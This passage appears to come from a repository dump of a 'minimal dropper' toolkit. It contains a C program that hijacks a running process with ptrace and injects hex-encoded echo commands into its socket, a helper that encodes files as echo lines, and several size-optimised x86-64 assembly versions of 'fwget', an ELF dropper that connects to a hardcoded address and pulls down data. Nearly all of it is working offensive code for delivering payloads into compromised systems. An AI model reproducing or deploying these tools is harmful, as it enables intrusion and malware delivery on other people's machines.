20 | */ 21 | 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | 28 | #include 29 | #include 30 | #include 31 | 32 | #include 33 | #include 34 | 35 | #define BUF_SIZE 256 36 | 37 | int 38 | cpy_str (pid_t _pid, char *str, unsigned long long int *p) 39 | { 40 | int i; 41 | int len = strlen (str); 42 | int len1 = (len / 8) + 1; 43 | char *aux = malloc (len1 * 8); 44 | unsigned long long int *d = (unsigned long long int*)aux; 45 | 46 | printf ("!! Reallocating %d to %d bytes\n", len, len1); 47 | memset (aux, 0, len1); 48 | strcpy (d, str); 49 | 50 | for (i = 0; i < len1 + 1; i++) 51 | { 52 | if ((ptrace (PTRACE_POKEDATA, _pid, p, *d)) < 0) perror ("POKE Stack:"); 53 | p++; d++; 54 | } 55 | free (aux); 56 | return len; 57 | } 58 | 59 | int 60 | main (int argc, char *argv[]) 61 | { 62 | unsigned char buf[BUF_SIZE], cmd[4096], *p; 63 | int l, i, slen; 64 | pid_t _pid; 65 | struct user_regs_struct regs; 66 | struct user_regs_struct regs_cpy; 67 | int status; 68 | long opcode, opcode1; 69 | 70 | 71 | _pid = atoi (argv[1]); 72 | 73 | printf ("+ Attaching to process %ld\n", _pid); 74 | if ((ptrace (PTRACE_ATTACH, _pid, NULL, NULL)) < 0) 75 | perror ("ptrace_attach:"); 76 | 77 | printf ("%s", " ..... Waiting for process...\n"); 78 | wait (&status); 79 | 80 | 81 | //Get registers 82 | printf ("+ Getting current registers state....\n"); 83 | if ((ptrace (PTRACE_GETREGS, _pid, 0, ®s)) < 0) perror ("ptrace_get_regs:"); 84 | 85 | printf (" -> Process stopped at : %p\n", regs.rip); 86 | printf (" -> Stack at : %p\n", regs.rsp); 87 | 88 | // Make a copy for restore state when we are done 89 | printf ("+ Current register set copied...\n"); 90 | memcpy (®s_cpy, ®s, sizeof (struct user_regs_struct)); 91 | 92 | printf ("+ Retrieving opcode from (%llx) -> ", regs.rip); 93 | if ((opcode = ptrace (PTRACE_PEEKTEXT, _pid, regs.rip, 0)) < 0) 94 | perror ("retrieve opcode:"); 95 | printf ("0x%lx\n", opcode); 96 | 97 | ptrace (PTRACE_POKETEXT, _pid, regs.rip, 0x050f050f050f050f); // Write syscall 98 | 99 | printf ("+ Pushing string into stack...\n"); 100 | regs.rsp -= 2048; // Allocating 2048 bytes buffer 101 | 102 | while (1) 103 | { 104 | memset (cmd, 0, 4096); 105 | p = cmd; 106 | if ((l = read (0, buf, BUF_SIZE)) <= 0) break; 107 | 108 | p+= sprintf (p, "echo -n -e \""); 109 | for (i = 0; i < l; i++) 110 | p+=sprintf (p, "\\\\x%02x", buf[i]); 111 | p+=sprintf (p, "\" > k\n"); 112 | printf ( "--------------------\n"); 113 | printf ("%s", cmd); 114 | printf ( "--------------------\n"); 115 | 116 | slen = cpy_str (_pid, cmd, regs.rsp); 117 | 118 | printf ("+ Preparing for syscall....\n"); 119 | 120 | regs.rax = 1; // Write 121 | regs.rdi = 5; // socket 122 | regs.rsi = regs.rsp; // Buf 123 | regs.rdx= slen; 124 | 125 | if ((ptrace (PTRACE_SETREGS, _pid, 0, ®s)) < 0) perror ("ptrace_set_regs:"); 126 | 127 | printf ("+ Run single step...\n"); 128 | if ((ptrace (PTRACE_SINGLESTEP, _pid, 0,0)) < 0) perror ("Run syscallL"); 129 | 130 | printf ("%s", "+ Waiting for process...\n"); 131 | wait (&status); 132 | 133 | if ((ptrace (PTRACE_SINGLESTEP, _pid, 0,0)) < 0) perror ("Run syscallL"); 134 | 135 | printf ("%s", "+ Waiting for process...\n"); 136 | wait (&status); 137 | 138 | } 139 | printf ("Restoring opcode att : %p\n", regs_cpy.rip); 140 | if ((ptrace (PTRACE_POKETEXT, _pid, regs_cpy.rip, opcode)) < 0) perror ("Restore opcode:"); 141 | 142 | printf ("0x%lx\n", opcode); 143 | // Restore copy 144 | printf ("+Restoting original registers\n"); 145 | if ((ptrace (PTRACE_SETREGS, _pid, 0, ®s_cpy)) < 0) perror ("ptrace_set_regs:"); 146 | 147 | printf ("Registers successfully restored\n"); 148 | printf ("+ Deataching process...\n"); 149 | 150 | if ((ptrace (PTRACE_DETACH, _pid, NULL, NULL)) < 0) perror ("ptrace_deattach:"); 151 | wait (&status); 152 | printf ("Releasing process...\n"); 153 | 154 | return 0; 155 | } 156 | -------------------------------------------------------------------------------- /min_dropper/edumper.c: -------------------------------------------------------------------------------- 1 | /* 2 | * edumper. Dumps a file as echo hex strings 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | 17 | #include 18 | #include 19 | 20 | #define BUF_SIZE 256 21 | 22 | int 23 | main (int argc, char *argv[]) 24 | { 25 | unsigned char buf[BUF_SIZE]; 26 | int l, i; 27 | 28 | while (1) 29 | { 30 | if ((l = read (0, buf, BUF_SIZE)) <= 0) break; 31 | printf ("echo -n -e \""); 32 | for (i = 0; i < l; i++) 33 | printf ("\\\\x%02x", buf[i]); 34 | printf ("\" >> k\n"); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /min_dropper/fwget.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget. FemtoWget. Minimal dropper in asm (Base version) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | BITS 64 17 | org 0x400000 18 | ehdr: ; Elf32_Ehdr 19 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 20 | times 8 db 0 21 | dw 2 ; e_type 22 | dw 0x3e ; e_machine 23 | dd 1 ; e_version 24 | dq _start ; e_entry 25 | dq phdr - $$ ; e_phoff 26 | dq 0 ; e_shoff 27 | dd 0 ; e_flags 28 | dw ehdrsize ; e_ehsize 29 | dw phdrsize ; e_phentsize 30 | dw 1 ; e_phnum 31 | dw 0 ; e_shentsize 32 | dw 0 ; e_shnum 33 | dw 0 ; e_shstrndx 34 | 35 | ehdrsize equ $ - ehdr 36 | 37 | phdr: ; Elf32_Phdr 38 | dd 1 ; p_type 39 | dd 5 ; p_offset 40 | dq 0 41 | dq $$ ; p_vaddr 42 | dq $$ ; p_paddr 43 | dq filesize ; p_filesz 44 | dq filesize ; p_memsz 45 | dq 0x1000 ; p_align 46 | 47 | phdrsize equ $ - phdr 48 | 49 | 50 | ;; Compile 51 | ;; nasm -f bin -o hellos hello64.asm; chmod +x hellos 52 | 53 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 54 | _start: 55 | push rbp 56 | mov rbp, rsp 57 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 58 | 59 | ;; mov rdi, 1 60 | ;; lea rsi, [rel msg1] 61 | ;; mov rdx, 7 62 | 63 | ;; call _write 64 | 65 | ;; Variables 66 | ;; [rbp + 0x00] -> s (socket) 67 | ;; [rbp + 0x08] -> len (int) 68 | ;; [rbp + 0x10] -> buf (unsigned char) 69 | ;; Create socket 70 | ;; Find contants with: grep -R CONSTANT /usr/include 71 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 72 | mov rdi, 2 ; PF_INET 2 73 | mov rsi, 1 ; SOCK_STREAM 74 | mov rdx, 6 ; IPPROTO_TCP 75 | mov r8, 10 76 | call _socket 77 | mov [rbp + 0x00], rax 78 | mov r9, rax 79 | cmp rax, 0 80 | jle error 81 | 82 | 83 | ;; connect (s [rbp+0], addr, 16) 84 | mov rdi, rax 85 | ;; mov rsi, 0x8c0aa8c011110002 86 | ;; mov rsi, 0x0100007f11110002 87 | lea rsi, [rel addr] 88 | mov rdx, 16 89 | mov r8, 20 90 | call _connect 91 | test eax, eax 92 | jl error 93 | 94 | l0: ; Read loop 95 | ;; Read data from socket 96 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 97 | mov rdi, [rbp + 0] 98 | lea rsi, [rbp+0x10] 99 | mov rdx, 1024 100 | call _read 101 | mov [rbp + 0x08], rax ; Store number of bytes read 102 | cmp rax, 0 103 | jle done 104 | 105 | ;; Write to stdout 106 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 107 | mov rdi, 1 108 | mov rdx, rax 109 | call _write 110 | cmp rax, 1024 111 | jl done 112 | jmp l0 113 | done: 114 | ;; _close (s) 115 | mov rdi, [rbp + 0x00] ; 116 | call _close 117 | 118 | mov rdi, 0 ; Success 119 | call _exit 120 | 121 | error: 122 | mov rdi, 2 123 | lea rsi, [rel msg] 124 | mov rdx, 7 125 | call _write 126 | 127 | mov rdi, r9 128 | add rdi, r8 129 | call _exit 130 | ;; Syscalls 131 | _read: 132 | mov rax, 0 133 | syscall 134 | ret 135 | 136 | _write: 137 | mov rax, 1 138 | syscall 139 | ret 140 | 141 | _socket: 142 | mov rax, 41 143 | syscall 144 | ret 145 | 146 | _connect: 147 | mov rax, 42 148 | syscall 149 | ret 150 | 151 | _close: mov rax, 3 152 | syscall 153 | ret 154 | 155 | _exit: mov rax, 60 156 | syscall 157 | ret 158 | 159 | addr dq 0x0100007f11110002 160 | msg db "ERROR", 10,0 161 | filesize equ $ - $$ 162 | -------------------------------------------------------------------------------- /min_dropper/fwget1.1.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget1. FemtoWget. Minimal dropper in asm (Version 1) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | 17 | BITS 64 18 | org 0x400000 19 | ehdr: ; Elf32_Ehdr 20 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 21 | times 8 db 0 22 | dw 2 ; e_type 23 | dw 0x3e ; e_machine 24 | dd 1 ; e_version 25 | dq _start ; e_entry 26 | dq phdr - $$ ; e_phoff 27 | dq 0 ; e_shoff 28 | dd 0 ; e_flags 29 | dw ehdrsize ; e_ehsize 30 | dw phdrsize ; e_phentsize 31 | dw 1 ; e_phnum 32 | dw 0 ; e_shentsize 33 | dw 0 ; e_shnum 34 | dw 0 ; e_shstrndx 35 | 36 | ehdrsize equ $ - ehdr 37 | 38 | phdr: ; Elf32_Phdr 39 | dd 1 ; p_type 40 | dd 5 ; p_offset 41 | dq 0 42 | dq $$ ; p_vaddr 43 | dq $$ ; p_paddr 44 | dq filesize ; p_filesz 45 | dq filesize ; p_memsz 46 | dq 0x1000 ; p_align 47 | 48 | phdrsize equ $ - phdr 49 | 50 | 51 | ;; Compile 52 | ;; nasm -f bin -o fwget fwget.asm; chmod +x fwget 53 | 54 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 55 | _start: 56 | push rbp 57 | mov rbp, rsp 58 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 59 | 60 | ;; mov rdi, 1 61 | ;; lea rsi, [rel msg1] 62 | ;; mov rdx, 7 63 | 64 | ;; call _write 65 | 66 | ;; Variables 67 | ;; [rbp + 0x00] -> s (socket) 68 | ;; [rbp + 0x08] -> len (int) 69 | ;; [rbp + 0x10] -> buf (unsigned char) 70 | ;; Create socket 71 | ;; Find contants with: grep -R CONSTANT /usr/include 72 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 73 | mov rdi, 2 ; PF_INET 2 74 | mov rsi, 1 ; SOCK_STREAM 75 | mov rdx, 6 ; IPPROTO_TCP 76 | call _socket 77 | 78 | mov [rbp + 0x00], rax 79 | cmp rax, 0 80 | jle error 81 | 82 | 83 | ;; connect (s [rbp+0], addr, 16) 84 | mov rdi, rax 85 | ;; mov rsi, 0x8c0aa8c011110002 86 | ;; mov rsi, 0x0100007f11110002 87 | lea rsi, [rel addr] 88 | mov rdx, 16 89 | call _connect 90 | test eax, eax 91 | jl error 92 | 93 | l0: ; Read loop 94 | ;; Read data from socket 95 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 96 | mov rdi, [rbp + 0] 97 | lea rsi, [rbp+0x10] 98 | mov rdx, 1024 99 | call _read 100 | mov [rbp + 0x08], rax ; Store number of bytes read 101 | cmp rax, 0 102 | jle done 103 | 104 | ;; Write to stdout 105 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 106 | mov rdi, 1 107 | mov rdx, rax 108 | call _write 109 | cmp rax, 1024 110 | jl done 111 | jmp l0 112 | done: 113 | ;; _close (s) 114 | mov rdi, [rbp + 0x00] ; 115 | call _close 116 | 117 | mov rdi, 0 ; Success 118 | call _exit 119 | 120 | error: 121 | ;; mov rdi, 2 122 | ;; lea rsi, [rel msg] 123 | ;; mov rdx, 7 124 | ;; call _write 125 | 126 | mov rdi, -1 127 | call _exit 128 | 129 | ;; Syscalls 130 | _read: 131 | mov rax, 0 132 | jmp _do_syscall 133 | 134 | _write: 135 | mov rax, 1 136 | jmp _do_syscall 137 | 138 | _socket: 139 | mov rax, 41 140 | jmp _do_syscall 141 | 142 | _connect: 143 | mov rax, 42 144 | jmp _do_syscall 145 | 146 | _close: 147 | mov rax, 3 148 | jmp _do_syscall 149 | 150 | _exit: 151 | mov rax, 60 152 | jmp _do_syscall 153 | 154 | _do_syscall: 155 | syscall 156 | ret 157 | 158 | addr dq 0x0100007f11110002 159 | msg db "ERROR", 10,0 160 | filesize equ $ - $$ 161 | -------------------------------------------------------------------------------- /min_dropper/fwget1.2.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget1. FemtoWget. Minimal dropper in asm (Version 2) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | 17 | BITS 64 18 | org 0x400000 19 | ehdr: ; Elf32_Ehdr 20 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 21 | times 8 db 0 22 | dw 2 ; e_type 23 | dw 0x3e ; e_machine 24 | dd 1 ; e_version 25 | dq _start ; e_entry 26 | dq phdr - $$ ; e_phoff 27 | dq 0 ; e_shoff 28 | dd 0 ; e_flags 29 | dw ehdrsize ; e_ehsize 30 | dw phdrsize ; e_phentsize 31 | dw 1 ; e_phnum 32 | dw 0 ; e_shentsize 33 | dw 0 ; e_shnum 34 | dw 0 ; e_shstrndx 35 | 36 | ehdrsize equ $ - ehdr 37 | 38 | phdr: ; Elf32_Phdr 39 | dd 1 ; p_type 40 | dd 5 ; p_offset 41 | dq 0 42 | dq $$ ; p_vaddr 43 | dq $$ ; p_paddr 44 | dq filesize ; p_filesz 45 | dq filesize ; p_memsz 46 | dq 0x1000 ; p_align 47 | 48 | phdrsize equ $ - phdr 49 | 50 | 51 | ;; Compile 52 | ;; nasm -f bin -o fwget fwget.asm; chmod +x fwget 53 | 54 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 55 | _start: 56 | push rbp 57 | mov rbp, rsp 58 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 59 | 60 | ;; mov rdi, 1 61 | ;; lea rsi, [rel msg1] 62 | ;; mov rdx, 7 63 | 64 | ;; call _write 65 | 66 | ;; Variables 67 | ;; [rbp + 0x00] -> s (socket) 68 | ;; [rbp + 0x08] -> len (int) 69 | ;; [rbp + 0x10] -> buf (unsigned char) 70 | ;; Create socket 71 | ;; Find contants with: grep -R CONSTANT /usr/include 72 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 73 | mov rdi, 2 ; PF_INET 2 74 | mov rsi, 1 ; SOCK_STREAM 75 | mov rdx, 6 ; IPPROTO_TCP 76 | call _socket 77 | 78 | mov r8, rax ; FD should be 4 or 5 79 | ;; It is unlikely that the socket syscall will fail 80 | ;; cmp rax, 0 81 | ;; jle error 82 | 83 | 84 | ;; connect (s [rbp+0], addr, 16) 85 | ;; mov rdi, rax 86 | mov edi, eax ; Saves 1 byte 87 | ;; mov rsi, 0x8c0aa8c011110002 88 | ;; mov rsi, 0x0100007f11110002 89 | lea rsi, [rel addr] 90 | ;; mov rdx, 16 91 | ;; add rdx, 10 ; Saves 1 byte :) 92 | add edx,10 93 | call _connect 94 | test eax, eax 95 | jl error 96 | 97 | lea rsi, [rbp+0x10] 98 | l0: ; Read loop 99 | ;; Read data from socket 100 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 101 | mov rdi, r8 102 | mov rdx, 1024 103 | call _read 104 | cmp rax, 0 105 | jle done 106 | 107 | ;; Write to stdout 108 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 109 | mov rdi, 1 110 | mov rdx, rax 111 | call _write 112 | cmp eax, 1024 113 | jl done 114 | jmp l0 115 | done: 116 | ;; _close (s) 117 | mov rdi, r8 118 | call _close 119 | ;;; mov rdi, 0 ;Success 120 | ;; We have somehow already initialised the high part of registers 121 | ;; So it is set to zero and we can just work with the 32bits version 122 | ;; that requieres smaller code 123 | xor edi,edi 124 | call _exit 125 | 126 | error: 127 | ;; mov rdi, 2 128 | ;; lea rsi, [rel msg] 129 | ;; mov rdx, 7 130 | ;; call _write 131 | 132 | ;; mov rdi, -1 133 | xor edi,edi 134 | dec edi 135 | call _exit 136 | 137 | ;; Syscalls 138 | _read: 139 | mov rax, 0 140 | jmp _do_syscall 141 | 142 | _write: 143 | mov rax, 1 144 | jmp _do_syscall 145 | 146 | _socket: 147 | mov rax, 41 148 | jmp _do_syscall 149 | 150 | _connect: 151 | mov rax, 42 152 | jmp _do_syscall 153 | 154 | _close: 155 | mov rax, 3 156 | jmp _do_syscall 157 | 158 | _exit: 159 | mov rax, 60 160 | jmp _do_syscall 161 | 162 | _do_syscall: 163 | syscall 164 | ret 165 | 166 | addr dq 0x0100007f11110002 167 | msg db "ERROR", 10,0 168 | filesize equ $ - $$ 169 | -------------------------------------------------------------------------------- /min_dropper/fwget1.3.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget1. FemtoWget. Minimal dropper in asm (Version 3) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | 17 | BITS 64 18 | org 0x400000 19 | ehdr: ; Elf32_Ehdr 20 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 21 | times 8 db 0 22 | dw 2 ; e_type 23 | dw 0x3e ; e_machine 24 | dd 1 ; e_version 25 | dq _start ; e_entry 26 | dq phdr - $$ ; e_phoff 27 | dq 0 ; e_shoff 28 | dd 0 ; e_flags 29 | dw ehdrsize ; e_ehsize 30 | dw phdrsize ; e_phentsize 31 | dw 1 ; e_phnum 32 | dw 0 ; e_shentsize 33 | dw 0 ; e_shnum 34 | dw 0 ; e_shstrndx 35 | 36 | ehdrsize equ $ - ehdr 37 | 38 | phdr: ; Elf32_Phdr 39 | dd 1 ; p_type 40 | dd 5 ; p_offset 41 | dq 0 42 | dq $$ ; p_vaddr 43 | dq $$ ; p_paddr 44 | dq filesize ; p_filesz 45 | dq filesize ; p_memsz 46 | dq 0x1000 ; p_align 47 | 48 | phdrsize equ $ - phdr 49 | 50 | 51 | ;; Compile 52 | ;; nasm -f bin -o fwget fwget.asm; chmod +x fwget 53 | 54 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 55 | _start: 56 | push rbp 57 | mov rbp, rsp 58 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 59 | 60 | ;; mov rdi, 1 61 | ;; lea rsi, [rel msg1] 62 | ;; mov rdx, 7 63 | 64 | ;; call _write 65 | 66 | ;; Variables 67 | ;; [rbp + 0x00] -> s (socket) 68 | ;; [rbp + 0x08] -> len (int) 69 | ;; [rbp + 0x10] -> buf (unsigned char) 70 | ;; Create socket 71 | ;; Find contants with: grep -R CONSTANT /usr/include 72 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 73 | mov rdi, 2 ; PF_INET 2 74 | mov rsi, 1 ; SOCK_STREAM 75 | mov rdx, 6 ; IPPROTO_TCP 76 | call _socket 77 | 78 | mov r8, rax ; FD should be 4 or 5 79 | ;; It is unlikely that the socket syscall will fail 80 | ;; cmp rax, 0 81 | ;; jle error 82 | 83 | 84 | ;; connect (s [rbp+0], addr, 16) 85 | ;; mov rdi, rax 86 | mov edi, eax ; Saves 1 byte 87 | ;; mov rsi, 0x8c0aa8c011110002 88 | ;; mov rsi, 0x0100007f11110002 89 | lea rsi, [rel addr] 90 | ;; mov rdx, 16 91 | ;; add rdx, 10 ; Saves 1 byte :) 92 | add edx,10 93 | call _connect 94 | ;; Just skip error check... if it fails is not gonna work anyway 95 | ;; test eax, eax 96 | ;; jl error 97 | 98 | lea rsi, [rbp+0x10] 99 | l0: ; Read loop 100 | ;; Read data from socket 101 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 102 | mov rdi, r8 103 | mov rdx, 1024 104 | call _read 105 | cmp rax, 0 106 | jle done 107 | 108 | ;; Write to stdout 109 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 110 | mov rdi, 1 111 | mov rdx, rax 112 | call _write 113 | cmp eax, 1024 114 | jl done 115 | jmp l0 116 | done: 117 | ;; _close (s) 118 | ;; File descriptors get closed automatically when the process dies 119 | ;; mov rdi, r8 120 | ;; call _close 121 | ;;; mov rdi, 0 ;Success 122 | ;; We have somehow already initialised the high part of registers 123 | ;; So it is set to zero and we can just work with the 32bits version 124 | ;; that requieres smaller code 125 | xor edi,edi 126 | call _exit 127 | 128 | 129 | ;; Syscalls 130 | _read: 131 | xor eax,eax 132 | jmp _do_syscall 133 | 134 | _write: 135 | xor eax,eax 136 | inc eax 137 | 138 | jmp _do_syscall 139 | 140 | _socket: 141 | ;; mov rax, 41 142 | xor eax,eax 143 | add al, 41 144 | jmp _do_syscall 145 | 146 | _connect: 147 | ;; mov rax, 42 148 | xor eax,eax 149 | add al, 42 150 | jmp _do_syscall 151 | 152 | _close: 153 | ;; mov rax, 3 154 | xor eax,eax 155 | add al, 3 156 | jmp _do_syscall 157 | 158 | _exit: 159 | xor eax,eax 160 | add al, 60 161 | ;; mov rax, 60 162 | ;; jmp _do_syscall 163 | 164 | _do_syscall: 165 | syscall 166 | ret 167 | 168 | addr dq 0x0100007f11110002 169 | msg db "ERROR", 10,0 170 | filesize equ $ - $$ 171 | -------------------------------------------------------------------------------- /min_dropper/fwget1.4.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget1. FemtoWget. Minimal dropper in asm (Version 4) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | 17 | BITS 64 18 | org 0x400000 19 | ehdr: ; Elf32_Ehdr 20 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 21 | ;; times 8 db 0 22 | _start: push rbp ; 55 23 | mov rbp, rsp ; 48 89 e5 24 | xor esi,esi 25 | jmp _start1 ; eb XX 26 | 27 | dw 2 ; e_type 28 | dw 0x3e ; e_machine 29 | dd 1 ; e_version 30 | dq _start ; e_entry 31 | dq phdr - $$ ; e_phoff 32 | dq 0 ; e_shoff 33 | dd 0 ; e_flags 34 | dw ehdrsize ; e_ehsize 35 | dw phdrsize ; e_phentsize 36 | dw 1 ; e_phnum 37 | dw 0 ; e_shentsize 38 | dw 0 ; e_shnum 39 | dw 0 ; e_shstrndx 40 | 41 | ehdrsize equ $ - ehdr 42 | 43 | phdr: ; Elf32_Phdr 44 | dd 1 ; p_type 45 | dd 5 ; p_offset 46 | dq 0 47 | dq $$ ; p_vaddr 48 | dq $$ ; p_paddr 49 | dq filesize ; p_filesz 50 | dq filesize ; p_memsz 51 | dq 0x1000 ; p_align 52 | 53 | phdrsize equ $ - phdr 54 | 55 | 56 | ;; Compile 57 | ;; nasm -f bin -o fwget fwget.asm; chmod +x fwget 58 | 59 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 60 | _start1: 61 | ;; mov rbp, rsp 62 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 63 | 64 | ;; mov rdi, 1 65 | ;; lea rsi, [rel msg1] 66 | ;; mov rdx, 7 67 | 68 | ;; call _write 69 | 70 | ;; Variables 71 | ;; [rbp + 0x00] -> s (socket) 72 | ;; [rbp + 0x08] -> len (int) 73 | ;; [rbp + 0x10] -> buf (unsigned char) 74 | ;; Create socket 75 | ;; Find contants with: grep -R CONSTANT /usr/include 76 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 77 | mov rdi, 2 ; PF_INET 2 78 | ;;; mov rsi, 1 ;SOCK_STREAM 79 | inc esi 80 | mov rdx, 6 ; IPPROTO_TCP 81 | call _socket 82 | 83 | mov r8, rax ; FD should be 4 or 5 84 | ;; It is unlikely that the socket syscall will fail 85 | ;; cmp rax, 0 86 | ;; jle error 87 | 88 | 89 | ;; connect (s [rbp+0], addr, 16) 90 | ;; mov rdi, rax 91 | mov edi, eax ; Saves 1 byte 92 | ;; mov rsi, 0x8c0aa8c011110002 93 | ;; mov rsi, 0x0100007f11110002 94 | lea rsi, [rel addr] 95 | ;; mov rdx, 16 96 | ;; add rdx, 10 ; Saves 1 byte :) 97 | add edx,10 98 | call _connect 99 | ;; Just skip error check... if it fails is not gonna work anyway 100 | ;; test eax, eax 101 | ;; jl error 102 | 103 | lea rsi, [rbp+0x10] 104 | l0: ; Read loop 105 | ;; Read data from socket 106 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 107 | mov rdi, r8 108 | mov edx, 1024 109 | call _read 110 | cmp rax, 0 111 | jle done 112 | 113 | ;; Write to stdout 114 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 115 | mov rdi, 1 116 | mov edx, eax 117 | call _write 118 | cmp eax, 1024 119 | jl done 120 | jmp l0 121 | done: 122 | ;; _close (s) 123 | ;; File descriptors get closed automatically when the process dies 124 | ;; mov rdi, r8 125 | ;; call _close 126 | ;;; mov rdi, 0 ;Success 127 | ;; We have somehow already initialised the high part of registers 128 | ;; So it is set to zero and we can just work with the 32bits version 129 | ;; that requieres smaller code 130 | 131 | ;; Actually we do not care about the exit code 132 | ;; xor edi,edi 133 | call _exit 134 | 135 | 136 | ;; Syscalls 137 | _read: 138 | xor eax,eax 139 | jmp _do_syscall 140 | 141 | _write: 142 | xor eax,eax 143 | inc eax 144 | 145 | jmp _do_syscall 146 | 147 | _socket: 148 | ;; mov rax, 41 149 | xor eax,eax 150 | add al, 41 151 | jmp _do_syscall 152 | 153 | _connect: 154 | ;; mov rax, 42 155 | xor eax,eax 156 | add al, 42 157 | jmp _do_syscall 158 | 159 | _close: 160 | ;; mov rax, 3 161 | xor eax,eax 162 | add al, 3 163 | jmp _do_syscall 164 | 165 | _exit: 166 | xor eax,eax 167 | add al, 60 168 | ;; mov rax, 60 169 | ;; jmp _do_syscall 170 | 171 | _do_syscall: 172 | syscall 173 | ret 174 | 175 | addr dq 0x0100007f11110002 176 | 